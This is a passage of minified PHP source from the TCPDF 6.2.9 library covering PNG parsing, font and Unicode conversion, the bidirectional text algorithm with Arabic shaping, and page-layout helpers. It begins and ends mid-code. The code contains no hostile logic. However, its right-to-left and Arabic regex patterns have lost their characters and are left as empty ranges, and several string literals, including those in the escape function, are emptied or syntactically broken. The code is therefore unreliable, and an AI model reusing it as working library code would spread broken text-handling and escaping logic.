false;}$w=TCPDF_STATIC::_freadint($f);$h=TCPDF_STATIC::_freadint($f);$bpc=ord(fread($f,1));$ct=ord(fread($f,1));if($ct==0){$colspace='DeviceGray';}elseif($ct==2){$colspace='DeviceRGB';}elseif($ct==3){$colspace='Indexed';}else {fclose($f);return 'pngalpha';}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}fread($f,4);$channels=($ct==2?3:1);$parms='/DecodeParms << /Predictor 15 /Colors '.$channels.' /BitsPerComponent '.$bpc.' /Columns '.$w.' >>';$pal='';$trns='';$data='';$icc=false;$n=TCPDF_STATIC::_freadint($f);do{$type=fread($f,4);if($type=='PLTE'){$pal=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type=='tRNS'){$t=TCPDF_STATIC::rfread($f,$n);if($ct==0){$trns=array(ord($t[1]));}elseif($ct==2){$trns=array(ord($t[1]),ord($t[3]),ord($t[5]));}else {if($n>0){$trns=array();for($i=0;$i<$n;++$i){$trns[]=ord($t{$i});}}}fread($f,4);}elseif($type=='IDAT'){$data.=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type=='iCCP'){$len=0;while((ord(fread($f,1))!=0) AND ($len<80)){++$len;}if(ord(fread($f,1))!=0){fclose($f);return false;}$icc=TCPDF_STATIC::rfread($f,($n-$len-2));$icc=gzuncompress($icc);fread($f,4);}elseif($type=='IEND'){break;}else {TCPDF_STATIC::rfread($f,$n+4);}$n=TCPDF_STATIC::_freadint($f);}while($n);if(($colspace=='Indexed') AND (empty($pal))){fclose($f);return false;}fclose($f);return array('w'=>$w,'h'=>$h,'ch'=>$channels,'icc'=>$icc,'cs'=>$colspace,'bpc'=>$bpc,'f'=>'FlateDecode','parms'=>$parms,'pal'=>$pal,'trns'=>$trns,'data'=>$data);}}class TCPDF_FONT_DATA{ public static $uni_LRM=8206; public static $uni_RLM=8207; public static $uni_LRE=8234; public static $uni_RLE=8235; public static $uni_PDF=8236; public static $uni_LRO=8237; public static $uni_RLO=8238; public static $uni_RE_PATTERN_RTL="/(
	                                               # R
	| [--]                 # R
	| [-]                          # R
	|                                          # R
	| [---]    # R
	| [-]                  # R
	| [--] # R
	| [-]                              # R
	| [---]        # R
	| [--]                     # R
	| []                                   # RLE & RLO
	)/x"; public static $uni_RE_PATTERN_ARABIC="/(
		  [--]  # AL
		| [---]             # AL
		| [-]                               # AL
		| [--]  # AL
		| [--]                  # AL
		| [-]                               # AL
		| [-]                           # AL
		| [-]                           # AL
		| [-]                           # AL
		| [-]                           # AL
		| [-][-]                    # AL
		| [-]                           # AL
		| [-]                           # AL
		| [--]                  # AL
		| [--]                  # AL
		| [--]                  # AL
		| [-]                           # AL
		| [-]                           # AL
		| [-]                       # AN
		)/x"; public static $uni_type=array(); public static $uni_mirror=array(); public static $uni_arabicsubst=array(); public static $uni_laa_array=array(1570=>array(65269,65270,65269,65270),1571=>array(65271,65272,65271,65272),1573=>array(65273,65274,65273,65274),1575=>array(65275,65276,65275,65276)); public static $uni_diacritics=array(1612=>64606,1613=>64607,1614=>64608,1615=>64609,1616=>64610); public static $uni_utf8tolatin=array(8364=>128,338=>140,352=>138,376=>159,381=>142,8226=>149,710=>136,8224=>134,8225=>135,8230=>133,8212=>151,8211=>150,402=>131,8249=>139,8250=>155,339=>156,8240=>137,8222=>132,8220=>147,8221=>148,8216=>145,8217=>146,8218=>130,353=>154,732=>152,8482=>153,382=>158); public static $encmap=array(); public static $uni_identity_h="";}class TCPDF_FONTS{ protected static $cache_uniord=array(); public static function unichr($c,$unicode=true){if(!$unicode){return chr($c);}elseif($c<=0x7F){return chr($c);}elseif($c<=0x7FF){return chr(0xC0|$c>>6).chr(0x80|$c&0x3F);}elseif($c<=0xFFFF){return chr(0xE0|$c>>12).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}elseif($c<=0x10FFFF){return chr(0xF0|$c>>18).chr(0x80|$c>>12&0x3F).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}else {return '';}} public static function unichrUnicode($c){return self::unichr($c,true);} public static function unichrASCII($c){return self::unichr($c,false);} public static function arrUTF8ToUTF16BE($unicode,$setbom=false){$outstr='';if($setbom){$outstr.="";}foreach($unicode as $char){if($char==0x200b){}elseif($char==0xFFFD){$outstr.="";}elseif($char<0x10000){$outstr.=chr($char>>0x08);$outstr.=chr($char&0xFF);}else {$char-=0x10000;$w1=0xD800|($char>>0x0a);$w2=0xDC00|($char&0x3FF);$outstr.=chr($w1>>0x08);$outstr.=chr($w1&0xFF);$outstr.=chr($w2>>0x08);$outstr.=chr($w2&0xFF);}}return $outstr;} public static function UTF8ArrayToUniArray($ta,$isunicode=true){if($isunicode){return array_map(array('TCPDF_FONTS','unichrUnicode'),$ta);}return array_map(array('TCPDF_FONTS','unichrASCII'),$ta);} public static function UTF8ArrSubString($strarr,$start='',$end='',$unicode=true){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($strarr);}$string='';for($i=$start;$i<$end;++$i){$string.=self::unichr($strarr[$i],$unicode);}return $string;} public static function UniArrSubString($uniarr,$start='',$end=''){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($uniarr);}$string='';for($i=$start;$i<$end;++$i){$string.=$uniarr[$i];}return $string;} public static function updateCIDtoGIDmap($map,$cid,$gid){if(($cid>=0) AND ($cid<=0xFFFF) AND ($gid>=0)){if($gid>0xFFFF){$gid-=0x10000;}$map[($cid*2)]=chr($gid>>8);$map[(($cid*2)+1)]=chr($gid&0xFF);}return $map;} public static function _getfontpath(){if(!defined('K_PATH_FONTS') AND is_dir($fdir=realpath(dirname(__FILE__).'/../fonts'))){if(substr($fdir,-1)!='/'){$fdir.='/';}define('K_PATH_FONTS',$fdir);}return defined('K_PATH_FONTS')?K_PATH_FONTS:'';} public static function getFontFullPath($file,$fontdir=false){$fontfile='';if(($fontdir!==false) AND @file_exists($fontdir.$file)){$fontfile=$fontdir.$file;}elseif(@file_exists(self::_getfontpath().$file)){$fontfile=self::_getfontpath().$file;}elseif(@file_exists($file)){$fontfile=$file;}return $fontfile;} public static function UTF8ArrToLatin1Arr($unicode){$outarr=array();foreach($unicode as $char){if($char<256){$outarr[]=$char;}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outarr[]=TCPDF_FONT_DATA::$uni_utf8tolatin[$char];}elseif($char==0xFFFD){}else {$outarr[]=63;}}return $outarr;} public static function UTF8ArrToLatin1($unicode){$outstr='';foreach($unicode as $char){if($char<256){$outstr.=chr($char);}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outstr.=chr(TCPDF_FONT_DATA::$uni_utf8tolatin[$char]);}elseif($char==0xFFFD){}else {$outstr.='?';}}return $outstr;} public static function uniord($uch){if(!isset(self::$cache_uniord[$uch])){self::$cache_uniord[$uch]=self::getUniord($uch);}return self::$cache_uniord[$uch];} public static function getUniord($uch){if(function_exists('mb_convert_encoding')){list(,$char)=@unpack('N',mb_convert_encoding($uch,'UCS-4BE','UTF-8'));if($char>=0){return $char;}}$bytes=array();$countbytes=0;$numbytes=1;$length=strlen($uch);for($i=0;$i<$length;++$i){$char=ord($uch[$i]);if($countbytes==0){if($char<=0x7F){return $char;}elseif(($char>>0x05)==0x06){$bytes[]=($char-0xC0)<<0x06;++$countbytes;$numbytes=2;}elseif(($char>>0x04)==0x0E){$bytes[]=($char-0xE0)<<0x0C;++$countbytes;$numbytes=3;}elseif(($char>>0x03)==0x1E){$bytes[]=($char-0xF0)<<0x12;++$countbytes;$numbytes=4;}else {return 0xFFFD;}}elseif(($char>>0x06)==0x02){$bytes[]=$char-0x80;++$countbytes;if($countbytes==$numbytes){$char=$bytes[0];for($j=1;$j<$numbytes;++$j){$char+=($bytes[$j]<<(($numbytes-$j-1)*0x06));}if((($char>=0xD800) AND ($char<=0xDFFF)) OR ($char>=0x10FFFF)){return 0xFFFD;}else {return $char;}}}else {return 0xFFFD;}}return 0xFFFD;} public static function UTF8StringToArray($str,$isunicode=true,&$currentfont){if($isunicode){$chars=TCPDF_STATIC::pregSplit('//','u',$str,-1,PREG_SPLIT_NO_EMPTY);$carr=array_map(array('TCPDF_FONTS','uniord'),$chars);}else {$chars=str_split($str);$carr=array_map('ord',$chars);}$currentfont['subsetchars']+=array_fill_keys($carr,true);return $carr;} public static function UTF8ToLatin1($str,$isunicode=true,&$currentfont){$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::UTF8ArrToLatin1($unicode);} public static function UTF8ToUTF16BE($str,$setbom=false,$isunicode=true,&$currentfont){if(!$isunicode){return $str;}$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::arrUTF8ToUTF16BE($unicode,$setbom);} public static function utf8StrRev($str,$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::utf8StrArrRev(self::UTF8StringToArray($str,$isunicode,$currentfont),$str,$setbom,$forcertl,$isunicode,$currentfont);} public static function utf8StrArrRev($arr,$str='',$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::arrUTF8ToUTF16BE(self::utf8Bidi($arr,$str,$forcertl,$isunicode,$currentfont),$setbom);} public static function utf8Bidi($ta,$str='',$forcertl=false,$isunicode=true,&$currentfont){$pel=0;$maxlevel=0;if(TCPDF_STATIC::empty_string($str)){$str=self::UTF8ArrSubString($ta,'','',$isunicode);}if(preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_ARABIC,$str)){$arabic=true;}else {$arabic=false;}if(!($forcertl OR $arabic OR preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_RTL,$str))){return $ta;}$numchars=count($ta);if($forcertl=='R'){$pel=1;}elseif($forcertl=='L'){$pel=0;}else {for($i=0;$i<$numchars;++$i){$type=TCPDF_FONT_DATA::$uni_type[$ta[$i]];if($type=='L'){$pel=0;break;}elseif(($type=='AL') OR ($type=='R')){$pel=1;break;}}}$cel=$pel;$dos='N';$remember=array();$sor=$pel%2?'R':'L';$eor=$sor;$chardata=Array();for($i=0;$i<$numchars;++$i){if($ta[$i]==TCPDF_FONT_DATA::$uni_RLE){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_RLE,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='N';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRE){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_LRE,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='N';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_RLO){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_RLO,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='R';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRO){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_LRO,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='L';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_PDF){if(count($remember)){$last=count($remember)-1;if(($remember[$last]['num']==TCPDF_FONT_DATA::$uni_RLE) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_LRE) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_RLO) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_LRO)){$match=array_pop($remember);$cel=$match['cel'];$dos=$match['dos'];$sor=$eor;$eor=($cel>$match['cel']?$cel:$match['cel'])%2?'R':'L';}}}elseif(($ta[$i]!=TCPDF_FONT_DATA::$uni_RLE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_RLO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_PDF)){if($dos!='N'){$chardir=$dos;}else {if(isset(TCPDF_FONT_DATA::$uni_type[$ta[$i]])){$chardir=TCPDF_FONT_DATA::$uni_type[$ta[$i]];}else {$chardir='L';}}$chardata[]=array('char'=>$ta[$i],'level'=>$cel,'type'=>$chardir,'sor'=>$sor,'eor'=>$eor);}}$numchars=count($chardata);$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='NSM'){if($levcount){$chardata[$i]['type']=$chardata[$i]['sor'];}elseif($i>0){$chardata[$i]['type']=$chardata[($i-1)]['type'];}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['char']=='EN'){for($j=$levcount;$j>=0;$j--){if($chardata[$j]['type']=='AL'){$chardata[$i]['type']='AN';}elseif(($chardata[$j]['type']=='L') OR ($chardata[$j]['type']=='R')){break;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='AL'){$chardata[$i]['type']='R';}}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='ES') AND ($chardata[($i-1)]['type']=='EN') AND ($chardata[($i+1)]['type']=='EN')){$chardata[$i]['type']='EN';}elseif(($chardata[$i]['type']=='CS') AND ($chardata[($i-1)]['type']=='EN') AND ($chardata[($i+1)]['type']=='EN')){$chardata[$i]['type']='EN';}elseif(($chardata[$i]['type']=='CS') AND ($chardata[($i-1)]['type']=='AN') AND ($chardata[($i+1)]['type']=='AN')){$chardata[$i]['type']='AN';}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='ET'){if(($levcount>0) AND ($chardata[($i-1)]['type']=='EN')){$chardata[$i]['type']='EN';}else {$j=$i+1;while(($j<$numchars) AND ($chardata[$j]['level']==$prevlevel)){if($chardata[$j]['type']=='EN'){$chardata[$i]['type']='EN';break;}elseif($chardata[$j]['type']!='ET'){break;}++$j;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($chardata[$i]['type']=='ET') OR ($chardata[$i]['type']=='ES') OR ($chardata[$i]['type']=='CS')){$chardata[$i]['type']='ON';}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['char']=='EN'){for($j=$levcount;$j>=0;$j--){if($chardata[$j]['type']=='L'){$chardata[$i]['type']='L';}elseif($chardata[$j]['type']=='R'){break;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='N') AND ($chardata[($i-1)]['type']=='L') AND ($chardata[($i+1)]['type']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[($i-1)]['type']=='R') OR ($chardata[($i-1)]['type']=='EN') OR ($chardata[($i-1)]['type']=='AN')) AND (($chardata[($i+1)]['type']=='R') OR ($chardata[($i+1)]['type']=='EN') OR ($chardata[($i+1)]['type']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif(($levcount==0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='N') AND ($chardata[$i]['sor']=='L') AND ($chardata[($i+1)]['type']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[$i]['sor']=='R') OR ($chardata[$i]['sor']=='EN') OR ($chardata[$i]['sor']=='AN')) AND (($chardata[($i+1)]['type']=='R') OR ($chardata[($i+1)]['type']=='EN') OR ($chardata[($i+1)]['type']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif(($levcount>0) AND ((($i+1)==$numchars) OR (($i+1)<$numchars) AND ($chardata[($i+1)]['level']!=$prevlevel))){if(($chardata[$i]['type']=='N') AND ($chardata[($i-1)]['type']=='L') AND ($chardata[$i]['eor']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[($i-1)]['type']=='R') OR ($chardata[($i-1)]['type']=='EN') OR ($chardata[($i-1)]['type']=='AN')) AND (($chardata[$i]['eor']=='R') OR ($chardata[$i]['eor']=='EN') OR ($chardata[$i]['eor']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}for($i=0;$i<$numchars;++$i){$odd=$chardata[$i]['level']%2;if($odd){if(($chardata[$i]['type']=='L') OR ($chardata[$i]['type']=='AN') OR ($chardata[$i]['type']=='EN')){$chardata[$i]['level']+=1;}}else {if($chardata[$i]['type']=='R'){$chardata[$i]['level']+=1;}elseif(($chardata[$i]['type']=='AN') OR ($chardata[$i]['type']=='EN')){$chardata[$i]['level']+=2;}}$maxlevel=max($chardata[$i]['level'],$maxlevel);}for($i=0;$i<$numchars;++$i){if(($chardata[$i]['type']=='B') OR ($chardata[$i]['type']=='S')){$chardata[$i]['level']=$pel;}elseif($chardata[$i]['type']=='WS'){$j=$i+1;while($j<$numchars){if((($chardata[$j]['type']=='B') OR ($chardata[$j]['type']=='S')) OR (($j==($numchars-1)) AND ($chardata[$j]['type']=='WS'))){$chardata[$i]['level']=$pel;break;}elseif($chardata[$j]['type']!='WS'){break;}++$j;}}}if($arabic){$endedletter=array(1569,1570,1571,1572,1573,1575,1577,1583,1584,1585,1586,1608,1688);$alfletter=array(1570,1571,1573,1575);$chardata2=$chardata;$laaletter=false;$charAL=array();$x=0;for($i=0;$i<$numchars;++$i){if((TCPDF_FONT_DATA::$uni_type[$chardata[$i]['char']]=='AL') OR ($chardata[$i]['char']==32) OR ($chardata[$i]['char']==8204)){$charAL[$x]=$chardata[$i];$charAL[$x]['i']=$i;$chardata[$i]['x']=$x;++$x;}}$numAL=$x;for($i=0;$i<$numchars;++$i){$thischar=$chardata[$i];if($i>0){$prevchar=$chardata[($i-1)];}else {$prevchar=false;}if(($i+1)<$numchars){$nextchar=$chardata[($i+1)];}else {$nextchar=false;}if(TCPDF_FONT_DATA::$uni_type[$thischar['char']]=='AL'){$x=$thischar['x'];if($x>0){$prevchar=$charAL[($x-1)];}else {$prevchar=false;}if(($x+1)<$numAL){$nextchar=$charAL[($x+1)];}else {$nextchar=false;}if(($prevchar!==false) AND ($prevchar['char']==1604) AND (in_array($thischar['char'],$alfletter))){$arabicarr=TCPDF_FONT_DATA::$uni_laa_array;$laaletter=true;if($x>1){$prevchar=$charAL[($x-2)];}else {$prevchar=false;}}else {$arabicarr=TCPDF_FONT_DATA::$uni_arabicsubst;$laaletter=false;}if(($prevchar!==false) AND ($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='NSM')) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='NSM')) AND ($prevchar['type']==$thischar['type']) AND ($nextchar['type']==$thischar['type']) AND ($nextchar['char']!=1567)){if(in_array($prevchar['char'],$endedletter)){if(isset($arabicarr[$thischar['char']][2])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][2];}}else {if(isset($arabicarr[$thischar['char']][3])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][3];}}}elseif(($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='NSM')) AND ($nextchar['type']==$thischar['type']) AND ($nextchar['char']!=1567)){if(isset($arabicarr[$chardata[$i]['char']][2])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][2];}}elseif((($prevchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='NSM')) AND ($prevchar['type']==$thischar['type'])) OR (($nextchar!==false) AND ($nextchar['char']==1567))){if(($i>1) AND ($thischar['char']==1607) AND ($chardata[$i-1]['char']==1604) AND ($chardata[$i-2]['char']==1604)){$chardata2[$i-2]['char']=false;$chardata2[$i-1]['char']=false;$chardata2[$i]['char']=65010;}else {if(($prevchar!==false) AND in_array($prevchar['char'],$endedletter)){if(isset($arabicarr[$thischar['char']][0])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][0];}}else {if(isset($arabicarr[$thischar['char']][1])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][1];}}}}elseif(isset($arabicarr[$thischar['char']][0])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][0];}if($laaletter){$chardata2[($charAL[($x-1)]['i'])]['char']=false;}}}for($i=0;$i<($numchars-1);++$i){if(($chardata2[$i]['char']==1617) AND (isset(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])]))){if(isset($currentfont['cw'][(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])])])){$chardata2[$i]['char']=false;$chardata2[$i+1]['char']=TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])];}}}foreach($chardata2 as $key=>$value){if($value['char']===false){unset($chardata2[$key]);}}$chardata=array_values($chardata2);$numchars=count($chardata);unset($chardata2);unset($arabicarr);unset($laaletter);unset($charAL);}for($j=$maxlevel;$j>0;$j--){$ordarray=Array();$revarr=Array();$onlevel=false;for($i=0;$i<$numchars;++$i){if($chardata[$i]['level']>=$j){$onlevel=true;if(isset(TCPDF_FONT_DATA::$uni_mirror[$chardata[$i]['char']])){$chardata[$i]['char']=TCPDF_FONT_DATA::$uni_mirror[$chardata[$i]['char']];}$revarr[]=$chardata[$i];}else {if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);$revarr=Array();$onlevel=false;}$ordarray[]=$chardata[$i];}}if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);}$chardata=$ordarray;}$ordarray=array();foreach($chardata as $cd){$ordarray[]=$cd['char'];$currentfont['subsetchars'][$cd['char']]=true;}return $ordarray;} public static function getFontRefSize($size,$refsize=12){switch($size){case 'xx-small':{$size=($refsize-4);break;}case 'x-small':{$size=($refsize-3);break;}case 'small':{$size=($refsize-2);break;}case 'medium':{$size=$refsize;break;}case 'large':{$size=($refsize+2);break;}case 'x-large':{$size=($refsize+4);break;}case 'xx-large':{$size=($refsize+6);break;}case 'smaller':{$size=($refsize-3);break;}case 'larger':{$size=($refsize+3);break;}}return $size;}}class TCPDF_STATIC{ private static $tcpdf_version='6.2.9'; public static $alias_tot_pages='{:ptp:}'; public static $alias_num_page='{:pnp:}'; public static $alias_group_tot_pages='{:ptg:}'; public static $alias_group_num_page='{:png:}'; public static $alias_right_shift='{rsc:'; public static $enc_padding="(N^NuAdNV..h>/dSiz"; public static $byterange_string='/ByteRange[0 ********** ********** **********]'; public static $pageboxes=array('MediaBox','CropBox','BleedBox','TrimBox','ArtBox'); public static $page_formats=array('A4'=>array(595.276,841.890),); public static function getTCPDFVersion(){return self::$tcpdf_version;} public static function getTCPDFProducer(){return "TCPDF ".self::getTCPDFVersion()." (http://www.tcpdf.org)";} public static function set_mqr($mqr){if(!defined('PHP_VERSION_ID')){$version=PHP_VERSION;define('PHP_VERSION_ID',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){@set_magic_quotes_runtime($mqr);}} public static function get_mqr(){if(!defined('PHP_VERSION_ID')){$version=PHP_VERSION;define('PHP_VERSION_ID',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){return @get_magic_quotes_runtime();}return 0;} public static function getPageSizeFromFormat($format){if(isset(self::$page_formats[$format])){return self::$page_formats[$format];}return self::$page_formats['A4'];} public static function setPageBoxes($page,$type,$llx,$lly,$urx,$ury,$points=false,$k,$pagedim=array()){if(!isset($pagedim[$page])){$pagedim[$page]=array();}if(!in_array($type,self::$pageboxes)){return;}if($points){$k=1;}$pagedim[$page][$type]['llx']=($llx*$k);$pagedim[$page][$type]['lly']=($lly*$k);$pagedim[$page][$type]['urx']=($urx*$k);$pagedim[$page][$type]['ury']=($ury*$k);return $pagedim;} public static function swapPageBoxCoordinates($page,$pagedim){foreach(self::$pageboxes as $type){if(isset($pagedim[$page][$type])){$tmp=$pagedim[$page][$type]['llx'];$pagedim[$page][$type]['llx']=$pagedim[$page][$type]['lly'];$pagedim[$page][$type]['lly']=$tmp;$tmp=$pagedim[$page][$type]['urx'];$pagedim[$page][$type]['urx']=$pagedim[$page][$type]['ury'];$pagedim[$page][$type]['ury']=$tmp;}}return $pagedim;} public static function getPageLayoutMode($layout='SinglePage'){switch($layout){case 'default':case 'single':case 'SinglePage':{$layout_mode='SinglePage';break;}case 'continuous':case 'OneColumn':{$layout_mode='OneColumn';break;}case 'two':case 'TwoColumnLeft':{$layout_mode='TwoColumnLeft';break;}case 'TwoColumnRight':{$layout_mode='TwoColumnRight';break;}case 'TwoPageLeft':{$layout_mode='TwoPageLeft';break;}case 'TwoPageRight':{$layout_mode='TwoPageRight';break;}default:{$layout_mode='SinglePage';}}return $layout_mode;} public static function getPageMode($mode='UseNone'){switch($mode){case 'UseNone':{$page_mode='UseNone';break;}case 'UseOutlines':{$page_mode='UseOutlines';break;}case 'UseThumbs':{$page_mode='UseThumbs';break;}case 'FullScreen':{$page_mode='FullScreen';break;}case 'UseOC':{$page_mode='UseOC';break;}case '':{$page_mode='UseAttachments';break;}default:{$page_mode='UseNone';}}return $page_mode;} public static function isValidURL($url){$headers=@get_headers($url);return (strpos($headers[0],'200')!==false);} public static function removeSHY($txt='',$unicode=true){$txt=preg_replace('/([]{1}[]{1})/','',$txt);if(!$unicode){$txt=preg_replace('/([]{1})/','',$txt);}return $txt;} public static function getBorderMode($brd,$position='start',$opencell=true){if((!$opencell) OR empty($brd)){return $brd;}if($brd==1){$brd='LTRB';}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array('cap'=>'square','join'=>'miter');}$brd=$newbrd;}foreach($brd as $border=>$style){switch($position){case 'start':{if(strpos($border,'B')!==false){$newkey=str_replace('B','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case 'middle':{if(strpos($border,'B')!==false){$newkey=str_replace('B','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);$border=$newkey;}if(strpos($border,'T')!==false){$newkey=str_replace('T','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case 'end':{if(strpos($border,'T')!==false){$newkey=str_replace('T','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}}}return $brd;} public static function empty_string($str){return (is_null($str) OR (is_string($str) AND (strlen($str)==0)));} public static function getObjFilename($type='tmp',$file_id=''){return tempnam(K_PATH_CACHE,'__tcpdf_'.$file_id.'_'.$type.'_'.md5(TCPDF_STATIC::getRandomSeed()).'_');} public static function _escape($s){return strtr($s,array(')'=>'\)','('=>'\(','\'=>'\',chr(13)=>'
'));} public static function _escapeXML($str){$replaceTable=array(""=>'','&'=>'&amp;','<'=>'&lt;','>'=>'&gt;');$str=strtr($str,$replaceTable);return $str;} public static function objclone($object){if(($object instanceof Imagick) AND (version_compare(phpversion('imagick'),'3.0.1')!==1)){return @$object->clone();}return @clone($object);} public static function sendOutputData($data,$length){if(!isset($_SERVER['HTTP_ACCEPT_ENCODING']) OR empty($_SERVER['HTTP_ACCEPT_ENCODING'])){header('Content-Length: '.$length);}echo $data;} public static function replacePageNumAliases($page,$replace,$diff=0){foreach($replace as $rep){foreach($rep[3] as $a){if(strpos($page,$a)!==false){$page=str_replace($a,$rep[0],$page);$diff+=($rep[2]-$rep[1]);}}}return array($page,$diff);} public static function getTimestamp($date){if(($date[0]=='D') AND ($date[1]==':')){$date=substr($date,2);}return strtotime($date);} public static function getFormattedDate($time){return substr_replace(date('YmdHisO',intval($time)),'\'',(0-2),0).'\'';} public static function _getULONG($str,$offset){$v=unpack('Ni',substr($str,$offset,4));return $v['i'];} public static function _getUSHORT($str,$offset){$v=unpack('ni',substr($str,$offset,2));return $v['i'];} public static function _getSHORT($str,$offset){$v=unpack('si',substr($str,$offset,2));return $v['i'];} public static function 